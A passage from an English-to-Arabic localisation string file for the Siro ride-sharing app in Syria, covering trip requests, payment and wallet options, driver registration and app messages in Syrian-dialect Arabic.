calculated dynamically. For Comfort trips, the price is based on time and distance": "لرحلات سيرو والسكوتر، السعر بيحسب ديناميكياً. لرحلات الكومفورت، السعر بيعتمد على الوقت والمسافة.", - "Free Call": "مكالمة مجانية", - "Frequently Asked Questions": "الأسئلة الشائعة", - "Frequently Questions": "أسئلة متكررة", - "From": "من", - "From :": "من :", - "From : Current Location": "من : الموقع الحالي", - "From Budget": "من الميزانية", - "From:": "من:", - "Fuel": "الوقود", - "Fuel Type": "نوع الوقود", - "Full Name": "الاسم الكامل", - "Full Name (Marital)": "الاسم الكامل (الزواج)", - "FullName": "الاسم الكامل", - "GPS Required Allow !.": "مطلوب تفعيل GPS !.", - "Gender": "الجنس", - "General": "عام", - "General Authority For Supply Commodities": "الهيئة العامة للسلع التموينية", - "Get": "احصل على", - "Get Details of Trip": "احصل على تفاصيل الرحلة", - "Get Direction": "احصل على الاتجاهات", - "Get a discount on your first Siro ride!": "احصل على خصم بأول رحلة سيرو!", - "Get features for your country": "احصل على الميزات لبلدك", - "Get it Now!": "احصل عليها هلق!", - "Get to your destination quickly and easily.": "توصل لوجهتك بسرعة وسهولة.", - "Getting Started": "البدء", - "Gift Already Claimed": "تم استلام الهدية من قبل", - "Go": "سيرو", - "Go To Favorite Places": "روح للأماكن المفضلة", - "Go to next step": "روح للخطوة الجاية", - "Go to next step\\nscan Car License.": "روح للخطوة الجاية\\nامسح رخصة السيارة.", - "Go to passenger Location": "روح لموقع الراكب", - "Go to passenger Location now": "روح لموقع الراكب هلق", - "Go to passenger:": "روح للراكب:", - "Go to this Target": "روح لهالهدف", - "Go to this location": "روح لهالموقع", - "Google Map App": "تطبيق خرائط جوجل", - "H and": "و", - "HSBC Bank Egypt S.A.E": "بنك إتش إس بي سي مصر", - "Hard Brake": "فرملة قوية", - "Have a promo code?": "عندك كود ترويجي؟", - "Head": "الرأس", - "Heading your way now. Please be ready.": "عم ييجي لعندك هلق. تفضل جهّز حالك.", - "Health Insurance": "التأمين الصحي", - "Heatmap": "خريطة حرارية", - "Height:": "الطول:", - "Hello": "أهلاً", - "Hello this is Captain": "أهلاً، أنا الكابتن", - "Hello this is Driver": "أهلاً، أنا السائق", - "Help & Support": "المساعدة والدعم", - "Help Details": "تفاصيل المساعدة", - "Helping Center": "مركز المساعدة", - "Helping Page": "صفحة المساعدة", - "Here recorded trips audio": "هون في صوت الرحلات المسجلة", - "Hi": "هلا", - "Hi ,I Arrive your site": "هلا، وصلت لموقعك", - "Hi ,I will go now": "هلا، رح روح هلق", - "Hi! This is": "هلا! أنا", - "Hi, I will go now": "هلا، رح روح هلق", - "Hi, Where to": "أهلاً، وين بدك تروح؟", - "High School Diploma": "شهادة ثانوية عامة", - "History Page": "صفحة السجل", - "History of Trip": "سجل الرحلات", - "Home": "الرئيسية", - "Home Page": "الصفحة الرئيسية", - "Home Saved": "تم حفظ المنزل", - "Housing And Development Bank": "بنك الإسكان والتعمير", - "How can I pay for my ride?": "كيف بقدر أدفع لرحلتي؟", - "How can I register as a driver?": "كيف بقدر أسجل كسائق؟", - "How do I communicate with the other party (passenger/driver)?": "كيف بقدر أتواصل مع الطرف التاني (راكب/سائق)؟", - "How do I request a ride?": "كيف بطلب رحلة؟", - "How many hours would you like to wait?": "كام ساعة بدك تستنى؟", - "How much Passenger pay?": "قديش بدفع الراكب؟", - "How much longer will you be?": "قديش بعدك بتأخر؟", - "How to use App": "كيف تستخدم التطبيق", - "How to use Siro": "كيف تستخدم سيرو", - "How was the passenger?": "كيف كان الراكب؟", - "How was your trip with": "كيف كانت رحلتك مع", - "How would you rate our app?": "كيف بتقيّم تطبيقنا؟", - "Hybrid": "هايبرد", - "I Agree": "بوافق", - "I Arrive": "وصلت", - "I Arrive your site": "وصلت لموقعك", - "I Have Arrived": "أنا وصلت", - "I've arrived.": "لقد وصلت.", - "I added the wrong pick-up/drop-off location": "حطيت مكان الالتقاط/التنزيل غلط", - "I arrive you": "وصلت لعندك", - "I cant register in your app in face detection": "ما بقدر أسجل بتطبيقك بكشف الوجه", - "I want to order for myself": "حابب أطلب لحالي", - "I want to order for someone else": "حابب أطلب لغيري", - "I was just trying the application": "كنت عم جرّب التطبيق بس", - "I will go now": "رحروح هلق", - "I will slow down": "رحخفف السرعة", - "ID Documents Back": "وثائق الهوية (خلفي)", - "ID Documents Front": "وثائق الهوية (أمامي)", - "ID Mismatch": "عدم تطابق الهوية", - "If you in Car Now. Press Start The Ride": "إذا أنت بالسيارة هلق. اضغط ابدأ الرحلة", - "If you need any help or have question this is right site to do that and your welcome": "إذا بدك مساعدة أو عندك سؤال، هون المكان المناسب. أهلاً وسهلاً!", - "If you need any help or have questions, this is the right place to do that. You are welcome!": "إذا كنت بحاجة لأي مساعدة أو عندك أسئلة، هون المكان المناسب. أهلاً وسهلاً!", - "If you need assistance, contact us": "إذا بدك مساعدة، تواصل معنا", - "If you want add stop click here": "إذا بدك تضيف محطة اضغط هون", - "If you want order to another person": "إذا بدك تطلب لشخص تاني", - "If you want to make Google Map App run directly when you apply order": "إذا بدك تطبيق خرائط جوجل يشتغل مباشرة وقت تقدم الطلب", - "If your car license has the new design, upload the front side with two images.": "إذا رخصة سيارتك عليها التصميم الجديد، ارفع الوجه الأمامي بصورتين.", - "Image Upload Failed": "فشل رفع الصورة", - "Image detecting result is": "نتيجة كشف الصورة هي", - "In-App VOIP Calls": "مكالمات صوتية جوا التطبيق", - "Including Tax": "شامل الضريبة", - "Incorrect sms code": "كود SMS غلط", - "Increase Fare": "زيادة الأجرة", - "Increase Fee": "زيادة الرسوم", - "Increase Your Trip Fee (Optional)": "زيد رسوم رحلتك (اختياري)", - "Increasing the fare might attract more drivers. Would you like to increase the price?": "زيادة الأجرة ممكن تجذب سواقين أكثر. بدك ترفع السعر؟", - "Industrial Development Bank": "بنك التنمية الصناعية", - "Ineligible for Offer": "غير مؤهل للعرض", - "Info": "معلومات", - "Insert": "إدخال", - "Insert Account Bank": "أدخل الحساب البنكي", - "Insert Card Bank Details to Receive Your Visa Money Weekly": "أدخل تفاصيل البطاقة البنكية عشان تستلم فلوسك أسبوعياً", - "Insert Emergency Number": "أدخل رقم الطوارئ", - "Insert Emergincy Number": "أدخل رقم الطوارئ", - "Insert Payment Details": "أدخل تفاصيل الدفع", - "Insert SOS Phone": "أدخل رقم طوارئ", - "Insert Wallet phone number": "أدخل رقم هاتف المحفظة", - "Insert Your Promo Code": "أدخل كود الخصم بتاعك", - "Insert card number": "أدخل رقم البطاقة", - "Insert mobile wallet number": "أدخل رقم محفظة الجوال", - "Insert your mobile wallet details to receive your money weekly": "أدخل تفاصيل محفظة الجوال عشان تستلم فلوسك أسبوعياً", - "Inspection Date": "تاريخ الفحص", - "InspectionResult": "نتيجة الفحص", - "Install our app:": "ثبّت تطبيقنا:", - "Siro": "سيرو", - "Siro Balance": "رصيد سيرو", - "Siro DRIVER CODE": "كود سائق سيرو", - "Siro Driver": "سائق سيرو", - "Siro LLC": "شركة سيرو", - "Siro Order": "طلب سيرو", - "Siro Over": "سيرو انتهى", - "Siro Reminder": "تذكير سيرو", - "Siro Wallet Features:": "ميزات محفظة سيرو:", - "Siro's Response": "رد سيرو", - "Siro is a ride-sharing app designed with your safety and affordability in mind. We connect you with reliable drivers in your area, ensuring a convenient and stress-free travel experience.\\nHere are some of the key features that set us apart:": "سيرو تطبيق مشاركة رحلات مصمم لسلامتك وتوفير فلوسك. بنربطك بسواقين موثوقين بمنطقتك...", - "Siro is committed to safety, and all of our captains are carefully screened and background checked.": "سيرو ملتزم بالسلامة، وكل سواقينا بتم فحصهم بدقة.", - "Siro is the first ride-sharing app in Syria, designed to connect you with the nearest drivers for a quick and convenient travel experience.": "سيرو أول تطبيق مشاركة رحلات بسوريا، مصمم يربطك بأقرب السواقين لرحلة سريعة ومريحة.", - "Siro is the ride-hailing app that is safe, reliable, and accessible.": "سيرو تطبيق نقل آمن وموثوق ومتاح للجميع.", - "Siro is the safest and most reliable ride-sharing app designed especially for passengers in Syria. We provide a comfortable, respectful, and affordable riding experience with features that prioritize your safety and convenience. Our trusted captains are verified, insured, and supported by regular car maintenance carried out by top engineers. We also offer on-road support services to make sure every trip is smooth and worry-free. With Siro, you enjoy quality, safety, and peace of mind—every time you ride.": "سيرو هو تطبيق مشاركة الرحلات الآمن والأكثر موثوقية المصمم خصيصاً للركاب بسوريا. بنقدملك تجربة رحلة مريحة، محترمة، وبأسعار مناسبة، مع ميزات بتعطي أولوية لسلامتك وراحتك. سواقينا الموثوقين موثقين ومؤمنين، وبيدعمهم صيانة دورية من مهندسين محترفين. كمان بنقدم خدمات دعم على الطريق عشان نضمنلك رحلة سلسة ومن دون هموم. مع سيرو، بتستمتع بالجودة، السلامة، وراحة البال—بكل رحلة.", - "Siro is the safest ride-sharing app that introduces many features for both captains and passengers. We offer the lowest commission rate of just 8%, ensuring you get the best value for your rides. Our app includes insurance for the best captains, regular maintenance of cars with top engineers, and on-road services to ensure a respectful and high-quality experience for all users.": "سيرو هو تطبيق مشاركة الرحلات الآمن اللي بقدّم ميزات كتير للسواقين والركاب. بنقدّم أقل عمولة بس 8% عشان تاخد أحسن قيمة لرحلاتك...", - "Siro offers a variety of options including Economy, Comfort, and Luxury to suit your needs and budget.": "سيرو بيقدم خيارات متنوعة منها اقتصادي، مريح، وفاخر لتناسب احتياجاتك وميزانيتك.", - "Siro offers a variety of vehicle options to suit your needs, including economy, comfort, and luxury. Choose the option that best fits your budget and passenger count.": "سيرو بيقدم خيارات سيارات متنوعة تناسب احتياجاتك، منها الاقتصادي، المريح، والفاخر. اختر اللي بيناسب ميزانيتك وعدد الركاب.", - "Siro offers multiple payment methods for your convenience. Choose between cash payment or credit/debit card payment during ride confirmation.": "سيرو بيقدم طرق دفع متعددة لراحتك. اختر بين الدفع كاش أو ببطاقة ائتمان/خصم وقت تأكيد الرحلة.", - "Siro offers various safety features including driver verification, in-app trip tracking, emergency contact options, and the ability to share your trip status with trusted contacts.": "سيرو بيقدم ميزات سلامة متعددة منها التحقق من السائق، تتبع الرحلة جوا التطبيق، خيارات اتصال الطوارئ، وإمكانية مشاركة حالة رحلتك مع جهات موثوقة.", - "Siro prioritizes your safety. We offer features like driver verification, in-app trip tracking, and emergency contact options.": "سيرو بيعطي أولوية لسلامتك. بنقدم ميزات مثل التحقق من السائق، تتبع الرحلة جوا التطبيق، وخيارات اتصال الطوارئ.", - "Siro provides in-app chat functionality to allow you to communicate with your driver or passenger during your ride.": "سيرو بوفر دردشة جوا التطبيق عشان تتواصل مع السائق أو الراكب وقت الرحلة.", - "Siro123": "Siro123", - "Siro: For fixed salary and endpoints.": "سيرو: للراتب الثابت والمحطات النهائية.", - "Invalid MPIN": "رمز MPIN غير صالح", - "Invalid OTP": "رمز OTP غير صالح", - "Invalid customer MSISDN": "رقم هاتف العميل غير صالح", - "Invitation Used": "تم استخدام الدعوة", - "Invite": "ادعوا", - "Invite a Driver": "ادعوا سائق", - "Invite another driver and both get a gift after he completes 100 trips!": "ادعوا سائق تاني وكلكم بتاخدوا هدية بعد ما يكمل 100 رحلة!", - "Invite code already used": "كود الدعوة مستخدم من قبل", - "Invite sent successfully": "تم إرسال الدعوة بنجاح", - "Is device compatible": "الجهاز متوافق", - "Is the Passenger in your Car ?": "الراكب بسيارتك؟", - "Is the Passenger in your Car?": "الراكب بسيارتك؟", - "Issue Date": "تاريخ الإصدار", - "IssueDate": "تاريخ الإصدار", - "JOD": "د.أ", - "Join": "انضم", - "Join Siro as a driver using my referral code!": "انضم لسواقة سيرو بكود الدعوة بتاعي!", - "Jordan": "الأردن", - "Keep it up!": "كمل بهالحماس!", - "Kuwait": "الكويت", - "L.E": "ل.م", - "L.S": "ل.س", - "LE": "ل.م", - "Lady": "سائقة بنات", - "Lady Captain for girls": "كابتن بنات للبنات", - "Lady Captains Available": "سواقة بنات متاحين", - "Lady 👩": "سائقة بنات 👩", - "Lady: For girl drivers.": "سائقة بنات: للرحلات النسائية.", - "Language": "اللغة", - "Language Options": "خيارات اللغة", - "Last 10 Trips": "آخر 10 رحلات", - "Last Name": "اسم العائلة", - "Last name": "اسم العائلة", - "Later": "لاحقاً", - "Latest Recent Trip": "أحدث رحلة", - "Learn more about our app and mission": "تعرف أكثر عن تطبيقنا ورسالتنا", - "Leave": "مغادرة", - "Leave a detailed comment (Optional)": "اترك تعليق مفصل (اختياري)", - "Lets check Car license": "يلا نفحص رخصة السيارة", - "Lets check License Back Face": "يلا نفحص الوجه الخلفي للرخصة", - "License Categories": "فئات الرخصة", - "License Expiry Date": "تاريخ انتهاء الرخصة", - "License Type": "نوع الرخصة", - "Link a phone number for transfers": "اربط رقم هاتف للتحويلات", - "Location Access Required": "مطلوب الوصول للموقع", - "Location Link": "رابط الموقع", - "Location Tracking Active": "تتبع الموقع مفعل", - "Log Off": "تسجيل خروج", - "Log Out Page": "صفحة تسجيل الخروج", - "Login": "تسجيل الدخول", - "Login Captin": "تسجيل دخول الكابتن", - "Login Driver": "تسجيل دخول السائق", - "Logout": "تسجيل خروج", - "Lowest Price Achieved": "تم تحقيق أدنى سعر", - "MIDBANK": "بنك ميد", - "Made :": "صنع :", - "Maintenance Center": "مركز الصيانة", - "Maintenance Offer": "عرض صيانة", - "Make": "الماركة", - "Make a U-turn": "اعمل دورّة", - "Make is": "الماركة هي", - "Make purchases.": "ادفع واشتري.", - "Male": "ذكر", - "Map Dark Mode": "الوضع الليلي للخريطة", - "Map Passenger": "خريطة الراكب", - "Marital Status": "الحالة الاجتماعية", - "Mashreq Bank": "بنك المشرق", - "Mashwari": "مشاري", - "Mashwari: For flexible trips where passengers choose the car and driver with prior arrangements.": "مشاري: للرحلات المرنة اللي بيختار فيها الراكب السيارة والسائق بترتيب مسبق.", - "Maximum fare": "أقصى أجرة", - "Message": "رسالة", - "Meter Fare": "أجرة العداد", - "Minimum fare": "أدنى أجرة", - "Minute": "دقيقة", - "Mishwar Vip": "مشوار VIP", - "Missing Documents": "وثائق ناقصة", - "Model": "الموديل", - "Model is": "الموديل هو", - "More": "المزيد", - "Morning": "الصباح", - "Morning Promo": "عرض الصباح", - "Morning Promo Rides": "رحلات عرض الصباح", - "Most Secure Methods": "أكثر الطرق أماناً", - "Motorcycle": "موتوسيكل", - "Move the map to adjust the pin": "حرّك الخريطة عشان تعدّل الدبوس", - "My Balance": "رصيدي", - "My Card": "بطاقتي", - "My Cared": "بطاقتي", - "My Cars": "سياراتي", - "My Location": "موقعي", - "My Profile": "ملفي الشخصي", - "My Wallet": "محفظتي", - "My current location is:": "موقعي الحالي هو:", - "My location is correct. You can search for me using the navigation app": "موقعي صحيح. تقدر تبحث عليي بتطبيق الملاحة", - "MyLocation": "موقعي", - "Mute": "كتم الصوت", - "N/A": "غير متاح", - "NEXT >>": "التالي >>", - "NEXT STEP": "الخطوة التالية", - "Name": "الاسم", - "Name (Arabic)": "الاسم (عربي)", - "Name (English)": "الاسم (إنجليزي)", - "Name :": "الاسم :", - "Name in arabic": "الاسم بالعربي", - "Name must be at least 2 characters": "الاسم لازم يكون حرفين على الأقل", - "Name of the Passenger is": "اسم الراكب هو", - "Nasser Social Bank": "بنك ناصر الاجتماعي", - "National Bank of Egypt": "البنك الأهلي المصري", - "National Bank of Greece": "البنك الوطني اليوناني", - "National Bank of Kuwait – Egypt": "البنك الوطني الكويتي – مصر", - "National ID": "الهوية الشخصية", - "National ID Number": "رقم الهوية الشخصية", - "National ID must be 11 digits": "رقم الهوية لازم يكون 11 رقم", - "National Number": "الرقم القومي", - "NationalID": "الهوية الشخصية", - "Navigation": "الملاحة", - "Nearest Car": "أقرب سيارة", - "Nearest Car for you about": "أقرب سيارة لك بعد حوالي", - "Nearest Car: ~": "أقرب سيارة: ~", - "Need assistance? Contact us": "بدك مساعدة؟ تواصل معنا", - "Need help? Contact Us": "بدك مساعدة؟ تواصل معنا", - "Next": "التالي", - "Night": "الليل", - "No": "لأ", - "No ,still Waiting.": "لأ، لسا عم نستنى.", - "No Captain Accepted Your Order": "ما في كابتن قبل طلبك", - "No Car in your site. Sorry!": "ما في سيارة بموقعك. آسفين!", - "No Car or Driver Found in your area.": "ما لقينا سيارة أو سائق بمنطقتك.", - "No I want": "لأ، أنا بدّي", - "No Promo for today .": "ما في عروض بهاليوم.", - "No Response yet.": "ما في رد لسا.", - "No Rides Available": "ما في رحلات متاحة", - "No Rides Yet": "ما في رحلات لسا", - "No SIM card, no problem! Call your driver directly through our app. We use advanced technology to ensure your privacy.": "ما عندك شريحة، ما في مشكلة! اتصل بسائقك مباشرة عبر التطبيق. بنستخدم تكنولوجيا متطورة عشان نضمن خصوصيتك.", - "No accepted orders? Try raising your trip fee to attract riders.": "ما في طلبات منقبولة؟ جرّب ترفع رسوم رحلتك عشان تجذب ركاب.", - "No audio files found.": "ما لقينا ملفات صوتية.", - "No audio files found for this ride.": "ما لقينا تسجيلات صوتية لهاد المشوار.", - "No audio files recorded.": "ما في ملفات صوتية مسجلة.", - "No cars are available at the moment. Please try again later.": "ما في سيارات متاحة هلق. تفضل جرّب مرة تانية لاحقاً.", - "No cars nearby": "ما في سيارات قريبة", - "No contact selected": "ما في جهة اتصال مختارة", - "No contacts found": "ما لقينا جهات اتصال", - "No contacts with phone numbers found": "ما لقينا جهات اتصال بأرقام هواتف", - "No contacts with phone numbers were found on your device.": "ما لقينا جهات اتصال بأرقام هواتف بجهازك.", - "No data yet!": "ما في بيانات لسا!", - "No driver accepted my request": "ما في سائق قبل طلبي", - "No drivers accepted your request yet": "ما في سائقين قبلوا طلبك لسا", - "No drivers available": "ما في سائقين متاحين", - "No drivers available at the moment. Please try again later.": "ما في سائقين متاحين هلق. تفضل جرّب مرة تانية لاحقاً.", - "No face detected": "ما في وجه مكتشف", - "No favorite places yet!": "ما في أماكن مفضلة لسا!", - "No i want": "لأ، أنا بدّي", - "No image selected yet": "ما في صورة مختارة لسا", - "No invitation found": "ما لقينا دعوة", - "No invitation found yet!": "ما لقينا دعوة لسا!", - "No one accepted? Try increasing the fare.": "ما في حدا قبل؟ جرّب ترفع الأجرة.", - "No orders available": "ما في طلبات متاحة", - "No passenger found for the given phone number": "ما لقينا راكب بهالرقم", - "No phone number": "ما في رقم هاتف", - "No promos available right now.": "ما في عروض ترويجية هلق.", - "No questions asked yet.": "ما في أسئلة لسا.", - "No ride found yet": "ما لقينا رحلة لسا", - "No ride yet": "ما في رحلة لسا", - "No rides available for your vehicle type.": "ما في رحلات متاحة لنوع سيارتك.", - "No rides available right now.": "ما في رحلات متاحة هلق.", - "No rides found to complain about.": "ما لقينا أي مشاوير لحتى تقدم شكوى عليها.", - "No transactions this week": "ما في معاملات بهالأسبوع", - "No transactions yet": "ما في معاملات لسا", - "No trip data available": "ما في بيانات رحلة متاحة", - "No trip history found": "ما لقينا سجل رحلات", - "No trip yet found": "ما لقينا رحلة لسا", - "No user found for the given phone number": "ما لقينا مستخدم بهالرقم", - "No wallet record found": "ما لقينا سجل محفظة", - "No, I want to cancel this trip": "لأ، بدّي ألغي هالرحلة", - "No, still Waiting.": "لأ، لسا عم نستنى.", - "No, thanks": "لأ، شكراً", - "No,I want": "لأ، أنا بدّي", - "Non Egypt": "غير مصر", - "Not Connected": "غير متصل", - "Not set": "غير محدد", - "Not updated": "ما انحدث", - "Notifications": "الإشعارات", - "Now select start pick": "هلق اختر نقطة البداية", - "OK": "تمام", - "Occupation": "المهنة", - "Offline": "غير متصل", - "Ok": "تمام", - "Ok , See you Tomorrow": "تمام، نشوفك بكرة", - "Ok I will go now.": "تمام، رحروح هلق.", - "Old and affordable, perfect for budget rides.": "قديمة ومناسبة للسعر، مثالية لرحلات الميزانية المحدودة.", - "Online": "متصل", - "Only Syrian phone numbers are allowed": "مسموح بس بأرقام الهواتف السورية", - "Open App": "افتح التطبيق", - "Open Settings": "افتح الإعدادات", - "Open app and go to passenger": "افتح التطبيق وروح للراكب", - "Open in Maps": "افتح بالخرائط", - "Open the app to stay updated and ready for upcoming tasks.": "افتح التطبيق عشان تظل محدّث وجاهز للمهام الجاية.", - "Opted out": "تم إلغاء الاشتراك", - "Or": "أو", - "Or pay with Cash instead": "أو ادفع كاش بدل هيك", - "Order": "طلب", - "Order Accepted": "تم قبول الطلب", - "Order Accepted by another driver": "طلبك انقبل من سائق تاني", - "Order Applied": "تم تطبيق الطلب", - "Order Cancelled": "تم إلغاء الطلب", - "Order Cancelled by Passenger": "تم إلغاء الطلب من الراكب", - "Order Details Siro": "تفاصيل الطلب سيرو", - "Order History": "سجل الطلبات", - "Order ID": "رقم الطلب", - "Order Request Page": "صفحة طلب الرحلة", - "Order Under Review": "الطلب قيد المراجعة", - "Order for myself": "طلب لحالي", - "Order for someone else": "طلب لغيري", - "OrderId": "رقم الطلب", - "OrderVIP": "طلب VIP", - "Orders Page": "صفحة الطلبات", - "Origin": "نقطة البداية", - "Original Fare": "الأجرة الأصلية", - "Other": "أخرى", - "Our dedicated customer service team ensures swift resolution of any issues.": "فريق خدمة العملاء المتخصص عندنا بيضمن حل سريع لأي مشكلة.", - "Overall Behavior Score": "درجة السلوك العامة", - "Overlay": "العرض العلوي", - "Owner Name": "اسم المالك", - "Passenger": "الراكب", - "Passenger & Status": "الراكب والحالة", - "Passenger Cancel Trip": "الراكب ألغى الرحلة", - "Passenger Information": "معلومات الراكب", - "Passenger Name": "اسم الراكب", - "Passenger Name is": "اسم الراكب هو", - "Passenger cancel trip": "الراكب ألغى الرحلة", - "Passenger cancelled order": "الراكب ألغى الطلب", - "Passenger cancelled the ride.": "الراكب ألغى الرحلة.", - "Passenger come to you": "الراكب قادم إليك", - "Passenger name :": "اسم الراكب :", - "Passenger name:": "اسم الراكب:", - "Passenger paid amount": "المبلغ اللي دفعه الراكب", - "Passengers": "الركاب", - "Password": "كلمة المرور", - "Password must be at least 6 characters": "كلمة المرور لازم تكون 6 أحرف على الأقل", - "Password must be at least 6 characters.": "كلمة المرور لازم تكون 6 أحرف على الأقل.", - "Password must br at least 6 character.": "كلمة المرور لازم تكون 6 أحرف على الأقل.", - "Paste WhatsApp location link": "الصق رابط موقع الواتساب", - "Paste location link here": "الصق رابط الموقع هون", - "Paste the code here": "الصق الكود هون", - "Pay": "ادفع", - "Pay by MTN Wallet": "الدفع عبر محفظة MTN", - "Pay by Sham Cash": "الدفع عبر شام كاش", - "Pay by Syriatel Wallet": "الدفع عبر محفظة سيريتل", - "Pay directly to the captain": "ادفع مباشرة للكابتن", - "Pay from my budget": "الدفع من الرصيد المتاح", - "Pay remaining to Wallet?": "بدك تدفع الباقي للمحفظة؟", - "Pay with Credit Card": "ادفع ببطاقة ائتمان", - "Pay with Debit Card": "ادفع ببطاقة خصم", - "Pay with Wallet": "ادفع من المحفظة", - "Pay with Your": "ادفع بـ", - "Pay with Your PayPal": "ادفع بباي بال", - "Payment Failed": "فشل الدفع", - "Payment History": "سجل المدفوعات", - "Payment Method": "طريقة الدفع", - "Payment Method:": "طريقة الدفع:", - "Payment Options": "خيارات الدفع", - "Payment Successful": "تم الدفع بنجاح", - "Payment Successful!": "تم الدفع بنجاح!", - "Payment details added successfully": "تمت إضافة تفاصيل الدفع بنجاح", - "Payments": "المدفوعات", - "Percent Canceled": "نسبة الإلغاء", - "Percent Completed": "نسبة الإنجاز", - "Percent Rejected": "نسبة الرفض", - "Perfect for adventure seekers who want to experience something new and exciting": "مثالية لمحبي المغامرة اللي بدّهم يجربوا شي جديد ومثير", - "Perfect for passengers seeking the latest car models with the freedom to choose any route they desire": "مثالية للركاب اللي بيدوروا على أحدث موديلات السيارات مع حرية اختيار أي طريق بدّهم", - "Permission denied": "تم رفض الصلاحية", - "Personal Information": "المعلومات الشخصية", - "Petrol": "بنزين", - "Phone": "رقم الهاتف", - "Phone Check": "فحص الهاتف", - "Phone Number": "رقم الهاتف", - "Phone Number Check": "فحص رقم الهاتف", - "Phone Number is": "رقم الهاتف هو", - "Phone Number is not Egypt phone": "رقم الهاتف مش مصري", - "Phone Number wrong": "رقم الهاتف غلط", - "Phone Wallet Saved Successfully": "تم حفظ رقم المحفظة بنجاح", - "Phone number is already verified": "رقم الهاتف موثق من قبل", - "Phone number is verified before": "رقم الهاتف موثق من قبل", - "Phone number must be exactly 11 digits long": "رقم الهاتف لازم يكون بالضبط 11 رقم", - "Phone number must be valid.": "رقم الهاتف لازم يكون صحيح.", - "Phone number seems too short": "يبدو أن رقم الهاتف قصير جداً", - "Pick from map": "اختر من الخريطة", - "Pick from map destination": "اختر الوجهة من الخريطة", - "Pick or Tap to confirm": "اختر أو اضغط للتأكيد", - "Pick your destination from Map": "اختر وجهتك من الخريطة", - "Pick your ride location on the map - Tap to confirm": "اختر موقع رحلتك على الخريطة - اضغط للتأكيد", - "Plate": "اللوحة", - "Plate Number": "رقم اللوحة", - "Please Try anther time": "تفضل جرّب مرة تانية", - "Please Wait If passenger want To Cancel!": "تفضل استنى إذا بد الراكب يلغي!", - "Please allow location access at all times to receive ride requests and ensure smooth service.": "تفضل اسمح بالوصول للموقع دايماً عشان تستلم طلبات الرحلات وتضمن خدمة سلسة.", - "Please check back later for available rides.": "تفضل رجع لاحقاً للرحلات المتاحة.", - "Please complete more distance before ending.": "تفضل كمّل شوية مسافة قبل ما تنهي.", - "Please describe your issue before submitting.": "تفضل صف مشكلتك قبل ما ترسل.", - "Please enter": "تفضل أدخل", - "Please enter Your Email.": "تفضل أدخل بريدك الإلكتروني.", - "Please enter Your Password.": "تفضل أدخل كلمة المرور.", - "Please enter a correct phone": "تفضل أدخل رقم هاتف صحيح", - "Please enter a description of the issue.": "تفضل أدخل وصف للمشكلة.", - "Please enter a health insurance status.": "تفضل أدخل حالة التأمين الصحي.", - "Please enter a phone number": "تفضل أدخل رقم هاتف", - "Please enter a valid 16-digit card number": "تفضل أدخل رقم بطاقة صالح من 16 رقم", - "Please enter a valid card 16-digit number.": "تفضل أدخل رقم بطاقة صالح من 16 رقم.", - "Please enter a valid email": "الرجاء إدخال بريد إلكتروني صالح", - "Please enter a valid email.": "تفضل أدخل بريد إلكتروني صحيح.", - "Please enter a valid insurance provider": "الرجاء إدخال مزود تأمين صالح", - "Please enter a valid phone number.": "تفضل أدخل رقم هاتف صحيح.", - "Please enter a valid promo code": "تفضل أدخل كود خصم صالح", - "Please enter the CVV code": "تفضل أدخل رمز CVV", - "Please enter the cardholder name": "تفضل أدخل اسم حامل البطاقة", - "Please enter the complete 6-digit code.": "تفضل أدخل الكود المكون من 6 أرقام كاملاً.", - "Please enter the emergency number.": "تفضل أدخل رقم الطوارئ.", - "Please enter the expiry date": "تفضل أدخل تاريخ الانتهاء", - "Please enter the number without the leading 0": "يرجى إدخال الرقم بدون الصفر الأولي", - "Please enter your City.": "تفضل أدخل مدينتك.", - "Please enter your Email.": "تفضل أدخل بريدك الإلكتروني.", - "Please enter your Password.": "تفضل أدخل كلمة المرور.", - "Please enter your Question.": "تفضل أدخل سؤالك.", - "Please enter your complaint.": "تفضل أدخل شكواك.", - "Please enter your feedback.": "تفضل أدخل تعليقك.", - "Please enter your first name.": "تفضل أدخل اسمك الأول.", - "Please enter your last name.": "تفضل أدخل اسم عائلتك.", - "Please enter your phone number": "يرجى إدخال رقم هاتفك", - "Please enter your phone number.": "تفضل أدخل رقم هاتفك.", - "Please enter your question": "تفضل أدخل سؤالك", - "Please select a ride before submitting.": "تفضل اختر المشوار قبل ما ترسل.", - "Please go closer to the passenger location (less than 150m)": "تفضل قرب من موقع الراكب (أقل من 150 متر)", - "Please go to Car Driver": "يرجى الذهاب إلى سائق السيارة", - "Please go to Car now": "تفضل روح للسيارة هلق", - "Please go to the pickup location exactly": "يرجى الذهاب إلى موقع الالتقاط بالضبط", - "Please help! Contact me as soon as possible.": "من فضلك ساعدني! اتصل بي بأسرع وقت ممكن.", - "Please make sure not to leave any personal belongings in the car.": "تفضل تأكد ما تترك أي حاجات شخصية بالسيارة.", - "Please make sure to read the license carefully.": "تفضل تأكد تقرأ الرخصة بعناية.", - "Please make sure you have all your personal belongings and that any remaining fare, if applicable, has been added to your wallet before leaving. Thank you for choosing the Siro app": "من فضلك تأكد إن معاك كل حاجاتك الشخصية وإن أي مبلغ متبقي، لو موجود، تم إضافته لمحفظتك قبل ما تمشي. شكرًا لاستخدامك تطبيق سيرو", - "Please provide details about any long-term diseases.": "تفضل قدّم تفاصيل عن أي أمراض مزمنة.", - "Please put your licence in these border": "تفضل حط رخصتك بهالإطار", - "Please select a contact": "تفضل اختر جهة اتصال", - "Please select a date": "تفضل اختر تاريخ", - "Please select a rating before submitting.": "تفضل اختر تقييم قبل ما ترسل.", - "Please stay on the picked point.": "يرجى البقاء في نقطة الالتقاط المحددة.", - "Please tell us why you want to cancel.": "تفضل قلنا ليش بدك تلغي.", - "Please try again in a few moments": "تفضل جرّب مرة تانية بعد شوي", - "Please upload a clear photo of your face to be identified by passengers.": "تفضل ارفع صورة واضحة لوجهك عشان الركاب يتعرفوا عليك.", - "Please upload all 4 required documents.": "تفضل ارفع كل الـ4 وثائق المطلوبة.", - "Please upload this license.": "تفضل ارفع هالرخصة.", - "Please verify your identity": "تفضل وثّق هويتك", - "Please wait": "تفضل استنى", - "Please wait for the passenger to enter the car before starting the trip.": "تفضل استنى لحتى يدخل الراكب السيارة قبل ما تبدأ الرحلة.", - "Please wait while we prepare your trip.": "تفضل استنى شوي لحتى نجهّز رحلتك.", - "Point": "نقطة", - "Policy restriction on calls": "قيود سياسة على المكالمات", - "Potential security risks detected. The application may not function correctly.": "تم اكتشاف مخاطر أمنية محتملة. التطبيق ممكن ما يشتغل بشكل صحيح.", - "Potential security risks detected. The application may not function correctly.": "تم اكتشاف مخاطر أمنية محتملة. التطبيق ممكن ما يشتغل بشكل صحيح.", - "Potential security risks detected. The application will close in @seconds seconds.": 